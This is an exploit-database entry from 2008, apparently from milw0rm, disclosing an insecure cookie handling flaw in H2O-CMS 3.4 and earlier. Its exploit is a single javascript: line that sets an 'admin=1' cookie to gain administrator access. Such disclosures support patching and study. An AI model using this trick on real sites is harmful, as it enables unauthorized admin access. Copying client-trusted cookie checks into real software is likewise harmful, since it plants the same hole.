H2O-CMS 3.4 - Insecure Cookie Handling

Author: Stack
type: webapps
platform: php
port: 
date_added: 2008-10-28 
date_updated:  
verified: 1 
codes: OSVDB-49418 
tags: 
aliases:  
screenshot_url:  
application_url: 

# ----------------------------------------------------------
# H2O-CMS <= 3.4 Insecure Cookie Handling Vulnerability
# Discovered By Mountassif Moad
# Download On http://sourceforge.net/projects/h2o-cms
# Home World http://v4-team.com
# ----------------------------------------------------------
Exploit:
javascript:document.cookie = "admin=1; path=/";

# milw0rm.com [2008-10-29]